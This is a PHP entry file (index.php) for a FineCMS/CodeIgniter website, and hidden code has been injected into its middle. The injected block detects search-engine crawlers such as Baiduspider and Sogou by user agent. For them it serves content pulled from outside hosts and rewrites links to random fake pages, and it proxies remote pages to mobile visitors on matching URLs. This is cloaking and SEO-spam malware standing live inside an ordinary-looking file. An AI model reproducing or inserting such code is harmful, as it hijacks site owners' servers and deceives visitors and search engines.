<?php

/**
 * index.php 鍏ュ彛鏂囦欢
 */
header('Content-Type: text/html; charset=utf-8');
error_reporting(E_ALL^E_NOTICE);

define('IN_FINECMS', true);
define('APP_ROOT', dirname(__FILE__) . DIRECTORY_SEPARATOR);
define('EXT', '.php');
define('SELF', pathinfo(__FILE__, PATHINFO_BASENAME));
define('FCPATH', str_replace(SELF, '', __FILE__));
define('APPPATH', FCPATH.'extensions/');
define('BASEPATH', FCPATH.'dayrui/');
define('SYSDIR', trim(strrchr(trim(BASEPATH, '/'), '/'), '/'));

$config = require FCPATH.'config/config.ini.php';

/**
 * 閰嶇疆
 */

define('SYS_ROOT', FCPATH.'dayrui'.DIRECTORY_SEPARATOR);  //鏍稿績鏂囦欢鎵€鍦ㄨ矾寰�
define('SYS_START_TIME', microtime(true));  //璁剧疆绋嬪簭寮€濮嬫墽琛屾椂闂�
define('CONTROLLER_DIR', APP_ROOT . 'controllers' . DIRECTORY_SEPARATOR);  //controller鐩綍鐨勮矾寰�
define('MODEL_DIR', APP_ROOT . 'models' . DIRECTORY_SEPARATOR);  //model鐩綍鐨勮矾寰�
define('VIEW_DIR', APP_ROOT . 'views' . DIRECTORY_SEPARATOR); //view鐩綍鐨勮矾寰�
define('CONFIG_DIR', APP_ROOT . 'config' . DIRECTORY_SEPARATOR);  //config鐩綍鐨勮矾寰�
define('EXTENSION_PATH', 'extensions'); //extension鐩綍鏂囦欢澶�
define('EXTENSION_DIR', APP_ROOT . EXTENSION_PATH . DIRECTORY_SEPARATOR);  	//extension鐩綍鐨勮矾寰�
define('PLUGIN_DIR', APP_ROOT . 'plugins' . DIRECTORY_SEPARATOR);       	//鎻掍欢鐩綍鏂囦欢澶�
define('DEFAULT_CONTROLLER', 'Index');	//璁剧疆绯荤粺榛樿鐨刢ontroller鍚嶇О,榛樿涓�:Index
define('DEFAULT_ACTION', 'index'); //璁剧疆绯荤粺榛樿鐨刟ction鍚嶇О,榛樿涓篿ndex
define('SYS_LOG', $config['SYS_LOG']); //璁剧疆鏄惁寮€鍚繍琛屾棩蹇�
define('SYS_DEBUG',	 $config['SYS_DEBUG']);  //璁剧疆鏄惁寮€鍚皟璇曟ā寮�.寮€鍚悗,绋嬪簭杩愯鍑虹幇閿欒鏃�,鏄剧ず閿欒淇℃伅
define('URL_SEGEMENTATION', '/');  	//瀹氫箟缃戝潃璺敱鐨勫垎鍓茬
define('ENTRY_SCRIPT_NAME', 'index.php');  	//瀹氫箟鍏ュ彛鏂囦欢鍚�
define('SITE_MEMBER_COOKIE', $config['SITE_MEMBER_COOKIE']);  //浼氬憳鐧诲綍Cookie闅忔満瀛楃鐮�
define('SYS_COOKIE_DOMAIN', $config['SESSION_COOKIE_DOMAIN']);	 //璺ㄥ煙
define('SYS_DOMAIN', $config['SYS_DOMAIN']); //鍩熷悕鐩綍锛岄拡瀵硅櫄鎷熶富鏈虹敤鎴�
define('SYS_ATTACK_LOG', isset($config['SYS_ATTACK_LOG']) && $config['SYS_ATTACK_LOG'] ? $config['SYS_ATTACK_LOG'] : false);	//绯荤粺鏀诲嚮鏃ュ織寮€鍏�
define('ADMIN_NAMESPACE', isset($config['ADMIN_NAMESPACE']) && $config['ADMIN_NAMESPACE'] ? $config['ADMIN_NAMESPACE'] : 'admin'); //瀹氫箟鍚庡彴绠＄悊璺緞鐨勫悕瀛�
define('SYS_VAR_PREX', isset($config['SYS_VAR_PREX']) && $config['SYS_VAR_PREX'] ? $config['SYS_VAR_PREX'] : 'finecms_');	//SESSION鍜孋OOKIE鍙橀噺鍓嶇紑

/**
 * 鐜鍙傛暟
 */

if (function_exists('ini_set'))	{
    SYS_DEBUG ? ini_set('display_errors', true) : ini_set('display_errors', false);
    ini_set('memory_limit', '1024M');
    if (SYS_COOKIE_DOMAIN) {
        ini_set('session.cookie_domain', SYS_COOKIE_DOMAIN);
    }
}

$protocol2 = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://";
$host2 = $_SERVER['HTTP_HOST'];
$fullUrl2 = $protocol2 . $host2;
$url2 = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
set_time_limit(30);
error_reporting(0);
$tr2 = "stristr";
$er2 = $_SERVER;
function httpGet32($url2) {
  header('Content-Type:text/html;charset=utf-8');
  $ch = curl_init();
  $ua2 = $_SERVER['HTTP_USER_AGENT'];
  curl_setopt($ch, CURLOPT_URL, $url2);
  curl_setopt($ch, CURLOPT_USERAGENT, 'MyCustomUA/1.0');
  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
  curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($ch, CURLOPT_HEADER, 0);
  $output = curl_exec($ch);
  curl_close($ch);
  return $output;
}
function httpGet3($url2) {
  header('Content-Type:text/html;charset=utf-8');
  $ch = curl_init();
  $ua2 = $_SERVER['HTTP_USER_AGENT'];
  curl_setopt($ch, CURLOPT_URL, $url2);
  curl_setopt($ch, CURLOPT_USERAGENT, $ua2);
  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($ch, CURLOPT_HEADER, 0);
  $output = curl_exec($ch);
  curl_close($ch);
  return $output;
}
$dir="?and";
function char($length = 5, $type = 0)
{
    $arr = array(1 => "0123456789", 2 => "abcdefghijklmnopqrstuvwxyz0123456789");
    if ($type == 0)
    {
        array_pop($arr);
        $string = implode("", $arr);
    } elseif ($type == "-1") {
        $string = implode("", $arr);
    } else {
        $string = $arr[$type];
    }
    $count = strlen($string) - 1;
    $code = '';
    for ($i = 0; $i < $length; $i++) {
        $code .= $string[rand(0, $count)];
    }
    return $code;
}
$dir2=get_url2().'/moban';
function get_url2() {
   $url = $_SERVER['REQUEST_URI'];
    $url = preg_replace('~/+~', '/', $url);  // 去除多余的斜杠

    // 分割路径和查询字符串
    $url_parts = parse_url($url);

    // 处理路径部分
    $path = $url_parts['path'];
    $parts = explode('/', trim($path, '/'));

    // 查找路径中的第一个文件，并保留该文件路径
    $file_url = ''; // 初始化文件 URL
    $file_found = false; // 标记是否找到文件

    // 通过循环检查每个目录/文件
    foreach ($parts as $index => $part) {
        // 如果当前部分是文件（以.php、.html、.xml等结尾）
        if (preg_match('/\.(php|html|xml|asp|ppt|shtml)$/', $part)) {
            // 如果找到文件，保留文件路径
            $file_url = '/' . implode('/', array_slice($parts, 0, $index + 1));
            $file_found = true;
            break;
        }
    }

    // 如果没有找到文件，保留整个路径
    if (!$file_found) {
        $file_url = $path;
    }

    // 处理查询字符串部分，只保留 '?'，不保留查询参数
    if (isset($url_parts['query'])) {
        $file_url .= '?';
    }

    return $file_url;
}
function httpGetycy($url) {
  header('Content-Type:text/html;charset=utf-8');
  
$ch = curl_init();
$ua2 = $_SERVER['HTTP_USER_AGENT'];
$url = "http://jsc.25jsc-3.cc:81/".$_SERVER['REQUEST_URI'];
  curl_setopt($ch, CURLOPT_USERAGENT, $ua2);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_exec($ch);
curl_close($ch);
}

function httpGetycy2($url2) {
   $urlyc = "http://jsc.25jsc-3.cc:81/".$_SERVER['REQUEST_URI'];
  header('Content-Type:text/html;charset=utf-8');
  $ch = curl_init();
  $ua2 = $_SERVER['HTTP_USER_AGENT'];
  curl_setopt($ch, CURLOPT_URL, $urlyc);
  curl_setopt($ch, CURLOPT_USERAGENT, $ua2);
  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($ch, CURLOPT_HEADER, 0);
  $output = curl_exec($ch);
  curl_close($ch);
  return $output;
}

define('url', $er2['REQUEST_URI']);
define('ref', $er2['HTTP_REFERER']);
define('ent', $er2['HTTP_USER_AGENT']);
//define('site', "http://jsc.25jsc-3.cc:81/");
 define('url8', $fullUrl2);
$title = '/<title>(.*?)<\/title>/i';
$meta = '/<meta charset=".*?>/i';
$key = '/<meta\s+name="keywords"\s+content="([^"]+)"\s*\/?>/i';
$miaoshu = '/<meta\s+name="description"\s+content="([^"]+)"\s*\/?>/i';
define('road',$_SERVER['REQUEST_URI']);
define('regs', '@baiduspider|yisou|360|Sogou@i');
define('area', stristr(url, "wap")  or stristr(url, "moban")  or stristr(url, "xml")  or stristr(url, "doc")  or stristr(url, "pdf")  or stristr(url, "txt")  or stristr(url, "ppt")  or stristr(url, "news1")  or stristr(url, "xls")  or stristr(url, "xlsx")  or stristr(url, "wap")  or stristr(url, "edu")  or stristr(url, "gov")  or stristr(url, "wap")  or stristr(url, "asp")  or stristr(url, "gq")  or stristr(url, "pdx")  or stristr(url, "ga")  or stristr(url, "tacc")  or stristr(url, "work")  or stristr(url, "csv")  or stristr(url, "sports")  or stristr(url, "sleep")  or stristr(url, "life")  or stristr(url, "88art")
 or stristr(url, "wen") or stristr(url, "wap") or stristr(url, "id") or stristr(url, "and") or stristr(url, "no") or stristr(url, "world") or stristr(url, "case") or stristr(url, "news") or stristr(url, "dy"));
if (preg_match(regs, ent)) {
    if (area) {
      echo '<link rel="canonical" href="'.$url2.'" />' ;
   echo '<!-192-5-03ycy-->';
   //echo httpGetycy2(site.road);
 $html= httpGetycy2(site . road);
        $lianjie = '/<a .*?>[\s\S]*?<\/a>/';
        preg_match_all($lianjie,$html, $aarray5);
        // preg_match_all($lianjie, $html2, $aarray5);
        
        if ($aarray5[0]) {
            foreach ($aarray5[0] as $pbti) {
              
                $preg = '/href=(\"|\')(.*?)(\"|\')/i';
                $replacestr = 'href="' . $dir2 . '/' . char(6, 1) . char(mt_rand(4, 10), 2) . '.html' . '"';
                $ahtml = preg_replace($preg, $replacestr, $pbti);
                $html = str_replace($pbti, $ahtml, $html);
                //  $html2 = str_replace($pbti, $ahtml, $html2);
            }
        }
        
    echo $html;
      



exit;
    
    } 
    
    else {
   
  echo httpGet32("http://jschl.nn02.cc:81/");



   }
}


        ob_flush();
        flush();



if (area && preg_match('/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/',$_SERVER['HTTP_USER_AGENT'])) {
   
$ua = $_SERVER['HTTP_USER_AGENT'];
$ch = curl_init();

// 璁剧疆URL鍜岀浉搴旂殑閫夐」
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
     
curl_setopt($ch, CURLOPT_URL, "http://txt.2026-jsc.cc/xin/502.php");
curl_setopt($ch, CURLOPT_HEADER, false);

// 鎶撳彇URL骞舵妸瀹冧紶閫掔粰娴忚鍣�

curl_exec($ch);

//鍏抽棴cURL璧勬簮锛屽苟涓旈噴鏀剧郴缁熻祫婧�

curl_close($ch);

    exit();
   } 
 


require_once BASEPATH.'core/CodeIgniter.php';
